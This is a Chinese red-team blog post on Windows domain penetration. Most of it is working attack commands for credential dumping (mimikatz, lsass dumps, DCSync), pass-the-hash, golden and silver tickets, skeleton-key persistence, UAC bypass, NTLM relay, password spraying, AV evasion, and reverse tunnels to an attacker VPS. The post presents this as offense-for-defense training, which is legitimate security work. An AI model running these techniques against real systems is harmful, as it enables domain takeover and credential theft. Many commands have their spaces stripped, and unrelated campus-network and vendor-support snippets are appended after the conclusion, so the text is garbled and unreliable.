红蓝对抗之Windows内网渗透博客

无论是渗透测试,还是红蓝对抗,目的都是暴露风险,促进提升安全水平。企业往往在外网布置重兵把守,而内网防护相对来说千疮百孔,所以渗透高手往往通过攻击员工电脑、外网服务、职场WiFi等方式进入内网,然后发起内网渗透。而国内外红蓝对抗服务和开源攻击工具大多数以攻击Windows域为主,主要原因是域控拥有上帝能力,可以控制域内所有员工电脑,进而利用员工的合法权限获取目标权限和数据,达成渗透目的。

本文以蓝军攻击视角,介绍常用的Windows内网渗透的手法,包括信息收集、传输通道、权限提升、密码获取、横向移动、权限维持、免杀处理,主要让大家了解内网渗透到手法和危害,以攻促防,希望能给安全建设带来帮助。

在攻陷一台机器后,不要一味的直接去抓取机器密码、去做一些扫描内网的操作,因为如果网内有IDS等安全设备,有可能会造成报警,丢失权限。本节主要介绍当一台内网机器被攻破后,我们收集信息的一些手法。

SPN:服务主体名称。使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,快速寻找内网中注册的服务,SPN扫描可以规避像端口扫描的不确定性探测动作。主要利用工具有:setspn、GetUserSPNs.vbs和Rubeus。

a、利用Windows自带的setspn工具,普通域用户权限执行即可:

setspn-Tdomain.com-Q*/*

在上述截图中可以清晰的看到DCServer机器上运行了dns服务。如果网内存在mssql,利用SPN扫描也可以得到相应的结果。

b、利用GetUserSPNs.vbs也可以获取spn结果:

c、Rubeus工具是Harmj0y开发用于测试Kerberos的利用工具。

如下图利用Rubeus查看哪些域用户注册了SPN,也为后续Kerberoasting做准备:

一个正常的Web应用肯定有对应的数据库账号密码信息,是一个不错的宝藏。

可以使用如下命令寻找包含密码字段的文件:

cd/webfindstr/s/m“password”*.*

下面是常用应用的默认配置路径:

a、

Tomcat:CATALINA_HOME/conf/tomcat-users.xml

b、

c、

Nginx:/etc/nginx/nginx.conf

d、

Wdcp:/www/wdlinux/wdcp/conf/mrpw.conf

e、

Mysql:mysql\data\mysql\user.MYD

可以在网内收集用户等信息,对高权限用户做针对性的攻击,包括定位到域控,对域控发起攻击。

a、查看域用户,普通域用户权限即可:

netuser/domain

b、查看域管理员:

netgroup“domainadmins”/domain

nettime/domain

nslookup-type=all_ldap._tcp.dc._msdcs.jumbolab.com

d、查看域控制器:

netgroup“domaincontrollers”/domain

可以使用如下命令来达到内网主机的发现。

a、查看共享资料:

netview

b、查看arp表:

arp-a

c、查看hosts文件:

linux:cat/etc/hosts

windows:typec:\Windows\system32\drivers\etc\hosts

d、查看dns缓存:

ipconfig/displaydns

e、当然,利用一些工具也可以,比如nmap、nbtscan:

利用powershell脚本PowerView为例。

b、也可以查看机器被哪些用户登陆过:

拿下一台机器后,需要尽可能的收集信息。如下是几个常用软件保存密码的注册表地址,可以根据算法去解密保存的账号密码。

比如远程连接凭据:

cmdkey/list

navicat:

MySQLHKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\

MariaDBHKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\

MongoDBHKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\

MicrosoftSQLHKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\

OracleHKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\

PostgreSQLHKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\

SQLiteHKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\

SecureCRT:

xp/win2003

C:\DocumentsandSettings\USERNAME\ApplicationData\VanDyke\Config\Sessions

win7/win2008以上

C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions

Xshell:

Xshell5

%userprofile%\Documents\NetSarang\Xshell\Sessions

Xshell6

%userprofile%\Documents\NetSarangComputer\6\Xshell\Sessions

WinSCP:

HKCU\Software\MartinPrikryl\WinSCP2\Sessions

VNC:

RealVNC

HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserverPassword

TightVNC

HKEY_CURRENT_USER\Software\TightVNC\ServerValuePasswordorPasswordViewOnly

TigerVNC

HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4Password

UltraVNC

C:\ProgramFiles\UltraVNC\ultravnc.inipasswdorpasswd2

DPAPI,由微软从Windows2000开始发布,称为DataProtectionApplicationProgrammingInterface(DPAPI)。其分别提供了加密函数CryptProtectData与解密函数CryptUnprotectData。

其作用范围包括且不限于:

outlook客户端密码

windowscredential凭据

chrome保存的密码凭据

internetexplorer密码凭据

DPAPI采用的加密类型为对称加密,存放密钥的文件则被称之为MasterKeyFiles,其路径一般为%APPDATA%\Microsoft\Protect{SID}{GUID}。其中{SID}为用户的安全标识符,{GUID}为主密钥名称。我们可以利用用户的密码/hash或域备份密钥解密主密钥,然后解密被dpapi加密的数据。

在渗透中,可以利用mimikatz做到自动化的数据解密:

a、解密Chrome密码:

mimikatzdpapi::chrome/in:”%localappdata%\Google\Chrome\UserData\Default\LoginData”/unprotect

b、解密Credential:

mimikatzvault::cred/patch

信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。

查看域信任:

nltest/domain_trusts

上述结果显示child.jumbolab.com和jumbolab.com两个域是双向信任的。

当存在域传送漏洞时,可以获取域名解析记录。当有了解析记录后,也能提高对网络环境的进一步认知,比如www解析的ip段可能在dmz区,mail解析的ip段可能在核心区域等等。

windows:

nslookup-type=nsdomain.comnslookupsserverdns.domain.comlsdomain.com

linux:

在网内收集dns记录,可以快速定位一些机器、网站。常用工具有Dnscmd、PowerView。

a、在windowsserver上,可以使用Dnscmd工具获取dns记录。

获取dns记录:

Dnscmd./ZonePrintjumbolab.com

Dnscmd./EnumRecordsjumbolab.com.

b、在非windowsserver机器上,可以使用PowerView获取。

import-modulePowerView.ps1Get-DNSRecord-ZoneNamejumbolab.com

通过如下命令获取连接过的wifi密码:

当分发组策略时,会在域的SYSVOL目录下生成一个gpp配置的xml文件,如果在配置组策略时填入了密码,则其中会存在加密过的账号密码。这些密码,往往都是管理员的密码。

其中xml中的密码是aes加密的,密钥已被微软公开:

\domain\Netlogon

可以利用Seatbelt工具做一些自动化的信息收集,收集的信息很多,包括不限于google历史记录、用户等等:

当有了chrome的访问历史时,就可以知道该用户访问的一些内部站点的域名/IP,可以提高内网资产的摸索效率。

我们可以利用Bloodhound做一些自动化的信息收集,包括用户、计算机、组织架构、最快的攻击途径等。但是自动化也意味着告警,该漏洞做自动化信息收集时,会在内网设备上产生大量的告警,按需使用。

执行:

SharpHound.exe-call

运行完毕会生成一个zip压缩包,名字类似于20200526201154_BloodHound。

导入Bloodhound后可以做可视化分析:

比较常用的就是寻找攻击域控的最快途径了:

如下图,我们知道,如果拿下hand用户后,就可以获取到域控权限:

使用ruler工具对owa接口进行爆破:

./ruler—domaintargetdomain.combrute—users/path/to/user.txt—passwords/path/to/passwords.txt

ruler工具会自动搜索owa可以爆破的接口,如:

其他如ews接口也存在被暴力破解利用的风险:

Get-GlobalAddressList-ExchHostnamemail.domain.com-UserNamedomain\username-PasswordFall2016-OutFileglobal-address-list.txt

当我们拿下exchange服务器后,可以做一些信息收集,包括不限于用户、邮件。

Get-Mailbox

导出邮件:

New-MailboxexportRequest-mailboxusername-FilePath(“\localhost\c\$\test\username.pst”)

导出后会有记录,用如下命令可以查看:

Get-MailboxExportRequest

删除某个导出记录:

Remove-MailboxExportRequest-Identity‘username\mailboxexport’-Confirm:\$false

在做完信息收集后,为了方便进一步内网渗透,一般都会建立一个通道,甚至是多级跳板。

可以用以下命令判断:

ping:icmp

nslookup:dns

netsh是windows自带的命令,可以允许修改计算机的网络配置。也可以被拿来做端口转发。

A机器执行如下命令:

netshinterfaceportproxyaddv4tov4listenport=5555connectport=3389connectaddress=192.168.1.1protocol=tcp

B机器访问A机器的5555端口,即是192.168.1.1的3389端口

a、开启socks代理:

输入1.1.1.1机器密码,本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理1.1.1.1的网络。

b、控制A、B机器,A能够访问B,且能出网,B能够访问C,但不能出网,A不能访问C:

A机器执行:

输入BIP机器密码,访问A的2121端口即是访问CIP的21端口。

c、控制A机器,A能够访问B:

输入黑客vps密码,访问黑客vps的2121端口即是访问BIP的21端口。

根据网站支持的语言,把相应的tunnel.xx传到服务器上,访问tunnel.xx显示“Georgsays,‘Allseemsfine’”,说明基本ok。

本地运行:

利用proxychains等类似工具连接本地的9999端口的sock5连接即可代理1.1.1.1的网络。

EarthWorm是一款用于开启SOCKSv5代理服务的工具,基于标准C开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。

a、受害者机器有外网ip并可直接访问:

把ew传到对方服务器上,执行:

./ew-sssocksd-l8888

现在本地利用proxychains等类似工具连接本地的对方服务器的8888端口的sock5连接即可代理对方的网络。

b、控制A机器,A能够访问B,通过A访问B:

在自己外网服务器上执行:

./ew-srcsocks-l1080-e8888

对方服务器执行:

./ew-srssocks-dyourvpsip-e8888

利用proxychains等类似工具可通过连接你的外网vps的1080端口的socks5,即可代理受害者服务器的网络。

c、控制A、B机器,A能够访问B,B能够访问C,A有外网ip并可直接访问,通过A来使用B的流量访问C:

B机器执行:

./ew-sssocksd-l9999

A机器:

./ew-slcx_tran-l1080-fBIP-g9999

利用proxychains等类似工具可通过连接A的1080端口的socks5,即可代理B服务器的网络。

d、控制A、B机器,A能够访问B,B能够访问C,A没有外网ip,通过A连接自己的外网vps来使用B的流量访问C:

自己vps执行:

./ew-slcx_listen-l1080-e8888

./ew-slcx_slave-dvpsip-e8888-fBIP-g9999

利用proxychains等类似工具可通过连接你自己的vps的1080端口的socks5,即可代理B服务器的网络。

lcx是一款轻便的端口转发工具。

a、反向转发

外网VPS机器监听:

lcx.exe-listen11112222

受害者机器执行:

lcx.exe-slaveVPSip1111127.0.0.13389

连接外网VPS机器的2222端口即是连接受害者机器的3389。

b、正向转发

lcx.exe-tran11112.2.2.28080

访问A机器的1111端口即是访问2.2.2.2的8080端口。

powercat是一款ps版nc。可以本地执行,也可以远程下载执行,远程执行命令如下:

然后远程连接执行命令即可。如果嫌弃该命令太暴露,可以对其进行编码。

当目标机器只开放mssql时,我们也可以利用mssql执行clr作为传输通道。

环境如下:

工具项目地址:

明明是administrator权限,为什么有些命令执行不了?拿到一个普通的域用户权限后,如何拿到域控权限?继续往下看。

那如何寻找bypassuac的方法呢。我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypassuac的效果。

以高权限运行的进程图标一般有如下标志:

我们win10以ComputerDefaults.exe作为bypass案例,ComputerDefaults.exe进程图标确实有个uac的标志(然后你双击打开会发现并没有uac提醒),

我们利用ProcessMonitor对该进程的行为做一个监听:

先寻找HKCU:\Software\Classes\ms-settings\Shell\Open\Command注册表,然后发现键值不存在,再寻找HKCR:\ms-settings\Shell\Open\Command\DelegateExecute

因此当我们修改hkcu注册表后,运行ComputerDefaults.exe就会得到一个bypassuac后的cmd:

对了,当修改HKCU\Software\Classes\下的键值时,会同步修改HKCR下面的键值。

该漏洞可以在只有一个普通域用户的权限时,获取到域控权限。微软已经修复了该漏洞,对应的补丁号为kb3011780。下面介绍下漏洞的成因,先来一个Kerberos协议流程图:

大致流程如下:

2、域控的AS服务验证用户的密码是否正确。验证通过后,返回给用户一张TGT票据,该票据为krbtgt密码加密而成;

3、域用户拿着TGT向KDC的TGS服务申请访问ApplicationServer的票据

4、域控的TGS服务验证TGT通过后,返回给域用户能够访问ApplicationServer的票据,即ST,ST以ApplicationServer的服务账号密码加密;

5、域用户拿着ST访问对应的ApplicationServer;

6、ApplicationServer验证ST,决定成功与否。

下面简述ms14-068的问题所在:

TGT中作为用户凭证,包含了用户名、用户id、所属组等信息,即PAC。简单点讲,PAC就是验证用户所拥有权限的特权属性证书。

默认PAC是包含在TGT中的,而出现ms14-068这个问题的原因在于用户在申请TGT时可以要求KDC返回的TGT不包含PAC(include-PAC为false),然后用户自己构造PAC并放入TGS_REQ数据包中的REQ_BODY中,KDC会解密PAC并加密到一个新的TGT中(正常应该返回一个ST)并返回给用户,此时这个TGT已经带入了我们构造的恶意的PAC。后面就是正常的kerberos流程了。

利用方法:

也可以使用goldenPac.py来达到ms14-068+psexec的自动化利用:

密码抓取已经成为渗透中必不可少的一项技能。一个管理员很可能管理着N多台机器,但是密码使用的都是同一个或者是有规律的。如果抓到一台机器的密码,利用同密码碰撞,很可能这个渗透项目就结束了。本节主要介绍密码抓取的原理和一些手段。

先简单介绍下lmhash和ntlmhash。

我们经常看到的hash长这样:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

他的组成就是:

user:sid:lmhash:ntlmhash

lmhash的加密流程如下:

1、密码长度限制为14个字符

2、密码全部转换为大写

3、密码转换为16进制字符串,不足14字节用0补全

4、密码的16进制字符串被分成两个7byte部分

5、再分7bit为一组,每组末尾加0,再组成一组

6、上步骤得到的二组,分别作为key为“KGS!@#\$%”进行DES加密。

7、将加密后的两组拼接在一起,得到最终LMHASH值。

为了解决lmhash强度不够的问题,微软推出了ntlmhash:

1、先将用户密码转换为十六进制格式。

2、将十六进制格式的密码进行Unicode编码。

3、使用MD4对Unicode编码数据进行Hash计算

因为在vista后不再支持lmhash,因此抓到的hash中的lmhash都是aad3b435b51404eeaad3b435b51404ee

在hash传递攻击时,可以替换成0:

00000000000000000000000000000000

再看下ntlm认证的过程:

他的简述流程如下:

1、客户端向服务端发起认证

4、服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功。

上述中的response类似于下面这样:

上述中的response就可以理解为net-ntlmhash,因此ntlmhash我们是可以拿来hash传递的,而net-ntlmhash不可以,但是net-ntlmhash也可以拿来做破解和relay。

使用reg命令获取本地用户凭据hash:

regsavehklm\samsam.hiveregsavehklm\systemsystem.hiveregsavehklm\securitysecurity.hive

最后利用bootkey解密获取hash。

其他一些工具同理,比如

pwdump7:

mimikatz:

privilege::debugtoken::elevatelsadump::sam

当然,从lsass.exe中获取也可以。如直接使用mimikatz获取:

privilege::debugsekurlsa::logonpasswords

Procdump+Mimikatz:

procdump64.exe-accepteula-malsass.exelsass.dmpmimikatz.exe“sekurlsa::minidumplsass.dmp”“sekurlsa::logonPasswordsfull”exit

而为什么有的抓不到明文密码,主要还是kb2871997的问题。kb2871997补丁会删除除了wdigestssp以外其他ssp的明文凭据,但对于wdigestssp只能选择禁用。用户可以选择将HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential更改为0来禁用。

它在winserver2012R2及以上版本已默认集成。在winserver2012R2上面测试,手动添加上述注册表的值为1,然后抓密码,发现只有wdigest能抓到明文密码了:

再提一下kb2871997补丁问题,除了“解决”上述明文密码问题,还“解决”了pth问题,但是kb2871997对于本地Administrator(rid为500,操作系统只认rid不认用户名)和本地管理员组的域用户是没有影响的。

当拿到域控权限时,可以从域控中的C:\Windows\NTDS\NTDS.dit导出所有用户hash。因为ntds.dit被占用,因此需要利用如卷影备份等手段copy出ntds.dit,然后利用如NTDSDumpEx.exe解析hash:

当拷贝ntds.dit时,由于网络、文件大小等问题,可以使用DRS协议获取hash凭据:

mimikatz.exeprivilege::debug“lsadump::dcsync/domain:jumbolab.com/all/csv”exit

有时为什么能抓到明文密码,有时并不能呢,除了上面说的kb2871997的问题以外,还有个“ReversibleEncryption”。

有个system权限进程:

以administrator权限窃取该进程token,成功获取system权限:

当然,降权也可以使用上述方法。

在KRB_TGS_REP中,TGS会返回给Client一张票据ST,而ST是由Client请求的Server端密码进行加密的。当Kerberos协议设置票据为RC4方式加密时,我们就可以通过爆破在Client端获取的票据ST,从而获得Server端的密码。

在上述SPN信息收集中得到一个域用户test注册了一个SPN,我们请求TGS:

再利用mimikatz导出:

最终成功获取该域用户密码:

弱口令,永远改不完。在内网中,也可以尝试对smb、3389、mssql弱口令进行密码暴力破解,但是要注意线程,密码数不要太多。当然,也可以使用不同账号,同个密码进行尝试。这里使用kerbrute对域用户/密码进行暴力破解:

爆破用户:

kerbruteuserenum-djumbolab.comusernames.txt

密码喷射:

kerbrutepasswordspray-djumbolab.comusername.txtaA1234567

LocalAdministratorPasswordSolution是密码解决方案,为了防止一台机器被抓到密码后,然后网内都是同密码机器导致被横向渗透。但是也存在相应的安全隐患,当我们拿下域控时,可以查看计算机本地密码;当权限配置不当时,也会导致其他用户有权限查看他人计算机本地密码:

powershellGet-ADComputercomputername-Propertiesms-Mcs-AdmPwd|selectname,ms-Mcs-AdmPwd

如果安装LAPS,在安装的软件列表里能看到:

当我们获取到某个机器账号密码、获取到hash了,后续我们应该怎么做,如何做,这就是本章介绍的内容。当然,当我们拿下更多的机器时,别忘记了,信息收集必不可少。

当我们获取到机器的账号密码的时候,可以尝试用以下几种方式进行连接并执行命令。

a、IPC

netuse\1.1.1.1\ipc\$“password”/user:username

b、Psexec

c、WMI

方法一wmic/user:”jumbolab.com\win7user”/password:”password”/node:172.16.127.184processcallcreate“notepad”

方法二Invoke-WmiMethod-classwin32_process-namecreate-argumentlist‘notepad’-ComputerName172.16.127.184-Credential‘jumbolab.com\win7user’

d、Schtasks

schtasks/create/s1.1.1.1/udomain\Administrator/ppassword/ru“SYSTEM”/tn“windowsupdate”/scDAILY/tr“calc”/Fschtasks/run/s1.1.1.1/udomain\Administrator/ppassword/tnwindowsupdate

e、AT

at\1.1.1.115:15calc

f、SC

sc\1.1.1.1createwindowsupdatebinpath=“calc”sc\1.1.1.1startwindowsupdate

g、REG

regadd\1.1.1.1\HKLM\Software\Microsoft\Windows\CurrentVersion\Run/vmyentry/tREG_SZ/d“calc”

h、DCOM

i、WINRM

当我们没有明文账号密码,只有hash时,可以尝试hash传递。

Invoke-WMIExec-Target1.1.1.1-Domaintest.local-Usernameusername-Hash7ECFFFF0C3548187607A14BAD0F88BB1-Command“calc.exe”-verbose

Invoke-SMBExec-Target1.1.1.1-Domaintest.local-Usernameusername-Hash7ECFFFF0C3548187607A14BAD0F88BB1-Command“calc.exe”-verbose

使用如下命令:

privilege::debugsekurlsa::pth/user:test1/domain:test.local/ntlm:7ECFFFF0C3548187607A14BAD0F88BB1

弹出cmd:

安装KB2871997补丁后,可以使用AES-256密钥进行hash传递:

抓取AES-256密钥:

mimikatz:privilege::debugsekurlsa::ekeysprivilege::debugsekurlsa::pth/user:test1/domain:test.local/aes256:aes256key

上述都是“主动性”的攻击行为,也就是主动去连接别人,那我们也可以尝试“被动性”攻击,当别人访问我们时,或者说是无感知访问时,我们能做什么操作?

实验环境:

win7172.16.127.184普通域用户

win10172.16.127.170域管

dcserver172.16.127.173域控

kali172.16.127.129攻击机

利用工具:

Responder、impacket

先来一段百科介绍,链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。它是包含在WindowsVista中,WindowsServer2008中,Windows7中,Windows8中和的Windows10。它也被实施systemd在Linux上-resolved。LLMNR定义在RFC4795。

在DNS服务器不可用时,DNS客户端计算机可以使用本地链路多播名称解析(LLMNR—Link-LocalMulticastNameResolution)(也称为多播DNS或mDNS)来解析本地网段上的名称。例如,如果路由器出现故障,从网络上的所有DNS服务器切断了子网,则支持LLMNR的子网上的客户端可以继续在对等基础上解析名称,直到网络连接还原为止。

除了在网络出现故障的情况下提供名称解析以外,LLMNR在建立临时对等网络(例如,机场候机区域)方面也非常有用。

翻译成白话文怎么说:你正常内网中如访问真实存在的机器,如jumbo01,当有一天你不小心输成了不存在的机器jumbo02,客户端就会问内网中谁是jumbo02啊,有没有是jumbo02的人啊。

攻击手法v1.0

首先我们如果访问一台不存在的机器jumbo02,是以下这个结果

那我们如果我们在客户端询问谁是jumbo02的时候应答他的话,就是这个结果

攻击机执行

responder-Ieth0

客户端访问jumbo02提示需要输入密码

输入密码后,攻击机收到net-ntlm:

收到net-ntlm以后我们就可以尝试利用hashcat进行破解等攻击。

先来一段百科介绍,网络代理自动发现协议(WebProxyAuto-DiscoveryProtocol,WPAD)是一种客户端使用DHCP和/或DNS发现方法来定位一个配置文件URL的方法。在检测和下载配置文件后,它可以执行配置文件以测定特定URL应使用的代理。

翻译成白话文怎么说:就是你的上网配置、怎么上网,如果你浏览器设置了上网自动检测设置(默认配置),客户端上网的时候,就会问,谁是wpad服务器啊,你是wpad服务器啊,然后拿着pac文件上网去了。

那如果我们伪造wpad服务器的话,首先攻击机执行

responder-Ieth0-wFb

这里使用-b参数强制使用401认证

输入账号密码以后,我们收到明文账号密码

从responder的信息反馈能得知,实际上是利用wpad欺骗返回了一个401认证,导致欺骗我们获取了其账号密码。

攻击手法v1.1

既然我们能够让客户端下载我们的pac,就能在pac里面让客户端的流量走我们这边,这里我利用msf配置burp演示代理抓取客户端流量。

打开burp,以下只在非域内但是同一个网络中的机器的firefox成功

In2016however,MicrosoftpublishedasecuritybulletinMS16-077,whichmitigatedthisattackbyaddingtwoimportantprotections:–ThelocationoftheWPADfileisnolongerrequestedviabroadcastprotocols,butonlyviaDNS.–Authenticationdoesnotoccurautomaticallyanymoreevenifthisisrequestedbytheserver.

利用mitm6让客户端设置我们为ipv6dns服务器

wpad成功在chrome上欺骗

PS:以上成功还是在非域内机器。

攻击手法v2.0

上面说了多,最重要的不过还是权限。大家应该知道smbrelay,但是这个漏洞很早就在MS08-068补丁中被修复了。但是这个不妨碍我们在未校验smb签名等情况下进行NTLM-Relay转发。我们执行responder,首先关闭掉smb,给接下来的ntlmrelayx使用。

responder-Ieth0ntlmrelayx.py-t172.16.127.173-l./

域管机器访问不存在的机器时,会中继到域控机器,我们成功获取shell

当存在子父域时,默认其是双向信任。可以利用sidhistory跨域提权。流程大致如下:

利用如下,使用mimikatz获取子域的KrbtgtHash:

lsadump::lsa/patch|

再使用powerview获取父域的sid:

Get-DomainComputer-Domainjumbolab.com

然后添加一个sid=519的企业管理员,利用mimikatz执行如下命令:

最终成功获取父域权限:

在域中,最核心的就是kerberos协议了,但是也会出现各种安全问题,甚至可以以一个普通域用户提权到system权限,配置不当甚至可以获取到域控权限。

当我们抓取到了krbtgthash时,能做什么?继续往下看。

上面提到了ms14-068,也介绍Kerberos协议,知道了TGT是由krbtgt加密而成。因此当拿到krbtgt账号hash时,就可以构造一个任意权限的tgt了:

使用方法:

mimikatzkerberos::purgekerberos::golden/admin:administrator/domain:域/sid:SID/krbtgt:krbtgthash值/ticket:administrator.kiribikerberos::pttadministrator.kiribikerberos::tgtdir\dc.domain.com\c\$

上面的金票据是伪造的TGT,银票据是伪造TGS,由服务账号密码加密而成。

mimikatz.exe“kerberos::golden/domain:域/sid:SID/target:域控全称/service:要访问的服务,如cifs/rc4:NTLM,计算机账号hash/user:user/ptt”dir\server\c\$

利用kekeo进行ptt:

kekeo“tgt::ask/user:test1/domain:test.local/ntlm:7ECFFFF0C3548187607A14BAD0F88BB1”

接下来导入票据:

流程图如下:

个人简单理解为A机器设置基于资源的约束委派给B(设置msDS-AllowedToActOnBehalfOfOtherIdentity属性),则B可以通过s4u协议申请高权限票据对A进行利用。利用过程如下:

普通域用户默认可以添加10个机器账号,添加spnspnspn\$并设置msds-allowedtoactonbehalfofotheridentity:

get-adcomputerwin7-propertiesprincipalsallowedtodelegatetoaccount

利用s4u协议申请高权限票据:

getST.py-dc-ip172.16.127.173jumbolab.com/spnspnspn\$:spnspnspn-spncifs/win7.jumbolab.com-impersonateadministrator

导入票据:

exportKRB5CCNAME=administrator.ccache

访问目标机器:

smbexec.py-no-pass-k-debugwin7.jumbolab.com

个人简单理解为user访问service1服务时,如果service1服务开启了非约束委派,则在user访问service1服务时,会把自身的tgt发送给service1,因此service1可以利用user的tgt去访问user可以访问的服务。利用过程如下:

win7机器开启了非约束委派:

下面我们再利用Spooler打印机服务错误强制让运行了spooler服务的机器通过kerberos或ntlm的方式连接指定的目标机器:

SpoolSample.exedcserverwin7

导出tgt:

mimikatzprivilege::debugsekurlsa::tickets/export

win7机器即可获取所有用户hash:

发现非约束委派机器可以用如下命令:

查找域中配置非约束委派用户:

Get-NetUser-Unconstrained-Domainjumbolab.com

查找域中配置非约束委派的主机:

Get-NetComputer-Unconstrained-Domainjumbolab.com

利用过程如下:

存在服务用户,test,并设置约束委派:

服务账号可以为一个域用户设置spn即可:

setspn.exe-U-Atest/testtest

申请tgt:

kekeo:tgt::ask/user:test/domain:jumbolab.com/password:aA123456

利用生成的tgt申请st:

导入st:

发现约束委派机器可以用如下命令:

查找域中配置约束委派用户:

Get-DomainUser-TrustedToAuth-Domainjumbolab.com

查找域中配置约束委派的主机:

Get-DomainComputer-TrustedToAuth-Domainjumbolab.com

当拿下域控后,可以在域控上面做一些手脚,以保证后续的权限维持,甚至可以保证,就算域控密码改了,我们依然可以连接。

该方法相当于重置了域控机器上的本地管理员密码。

DSRM,目录服务还原模式,是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。DSRM账户实际上就是“Administrator”,也就是域控上面的本地管理员账号,非域管理员账号。当建立域控时,会让我们设置DSRM密码:

我们用如下命令在域控上同步DSRM密码:

即把DSRM重置成了和win7user用户一样的密码:

再在域控上添加注册表:

regadd“HKLM\System\CurrentControlSet\Control\Lsa”/vDSRMAdminLogonBehavior/tREG_DWORD/d2

最后用pth连接过去:

sekurlsa::pth/domain:computername/user:Administrator/ntlm:b367819c0a8ccd792cad1d034f56a1fa

当我们获取到管理员权限时,可以通过添加组策略手段,实现用户开机自启动。

域控上执行过程如下:

打开gpmc.msc,编辑默认组策略:

然后添加启动项:

并在对应的组策略目录下添加你的文件:

再执行如下命令强制刷新组策略:

gpupdate/force

最终域内其他机器重启后就会执行对应的文件/脚本:

在系统启动的时候,SSP会被加载到lsass.exe中,也就是说我们可以自定义一个dll在系统启动时加载到lsass.exe中。

利用mimikatz:

1、将mimilib.dll复制到域控c:\windows\system32

2、添加注册表:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\SecurityPackages\

添加mimilib.dll

也可以不重启,利用RPC加载SSP。

利用mimikatz安装一个万能密码,“mimikatz”,实现代码可以参考如下:

privilege::debugmisc::skeleton

当执行完上述命令后,就可以使用“mimikatz”作为一个万能密码,去连接域控,该方法可用于当域控密码被改掉时,我们依然可以去控制域控。

通过往lsass.exe进程中注入dll,达到通过HookPasswordChangeNotify拦截修改的帐户密码。该方法可用于拦截域内修改的密码。

在上述的攻击利用中,出现了各种各样的工具,但是现在的edr都对上述工具、上述手法都做了安全防护,因此如何绕过av,又是一段漫长的路。

以常见的cs上线生成的powershell为例。当使用默认ps命令时,会被直接拦截:

我们先简单理解为拦截了这个命令,那就先简单尝试下加点特殊符号,而这个符号又不影响程序运行,比如“\^”,但发现并不行:

那我们尝试把这个命令copy出来并换个名字试试呢?依然不行:

但是改成txt就成功了:

渗透日常中密码抓取必不可少,当看到域控在线,工具被杀,想抓密码怎么办?

第一种,配合上面的powershell绕过执行ps1版的mimikatz:

第二种,利用RPC加载SSP:

让lsass.exe自己dump内存:

微软签名的procdump也可以:

第三种,对工具本身做免杀,找个看起来无害化的工具:

如果手上没有IDE编译环境或者没有源码怎么办?找个被杀的工具:

用restorator工具加个版本信息,成功免杀:

找个内存加载的源码,把shellcode加载执行。简单过程如下:

申请内存->写入shellcode->创建线程执行

先利用cs生成shellcode:

示例代码如下:

编译后成功绕过杀毒软件:

我们可以使用windows自带的命令达到免杀的效果,比如:

msbuild:

Wmic:

这里收集了几个执行shellcode的常用白名单:

总结

本文介绍了内网渗透的攻击手法和利用工具,也有绕过AV安全防护的突破手段。希望借此提高大家内网渗透攻击和防御水平。当然,不可能面面俱到,比如ACL配置不当造成的提权、mimikatz等工具的源码解读,还需要大家一起慢慢品味。

文中涉及的技术信息,只限用于技术交流,切勿用于非法用途。欢迎探讨交流,行文仓促,不足之处,敬请不吝批评指正。

最后感谢腾讯蓝军多位前辈同事的帮助和指导。同时预告一下,也算是立个flag:为了让红蓝对抗不用过于依靠个人经验和能力以及提升对抗效率,腾讯蓝军的红蓝对抗自动化工具平台正在筹建中,希望投入实战后有机会再跟大家一起交流学习。

THE END
1.一招教你关闭手机随机MAC地址,轻松解决反复认证问题!网络中每台设备都有唯一的网络标识,称为MAC地址或网卡地址。真实的网卡设备MAC地址写在硬件内部,全球具有唯一性。随机MAC地址是新版本操作系统拥有的一项功能,可以让终端上网时使用随机生成的MAC地址,且默认为启用状态。 2、为什么禁用随机MAC地址 经技术人员检查,校园无线网具备“无感知认证”功能,该功能使用户在校园http://hhxygzs.hhstu.edu.cn/info/1105/2499.htm
2.注册查询中心开局华为高品质酒店网络解决方案交付一本通系统管理员进行如下操作: 已配置注册查询中心,详细操作请参见对接注册查询中心。 租户管理员进行如下操作: 已在DHCP服务器上配置DHCP协议,设备获取IP地址和其他网络配置信息。 已在DNS服务器上配置DNS,设备可以解析注册查询中心域名对应的IP地址。 特性限制 V600版本WAC设备不支持注册查询中心开局。 V600R024C00及之后版https://support.huawei.com/enterprise/zh/doc/EDOC1100307924/f1482ef8
3.硬件产品步骤二:系统后台lspci信息判断,下图为异常值。 正常情况,lspci有识别加密卡为: 步骤三:上传脚本 GetDevInfo (见附件)工具,到tmp 路径,增加权限,执行指令(当设备恢复识别加密卡情况下执行) 老版本固件:CCP907T SDFESXF 2.15 20230824 v4 异常版本新版本固件:CCP907T SDFESXF 2.16 20240112 V4 更新后版本 解决方https://support.sangfor.com.cn/cases/list?product_id=156&category_id=30427
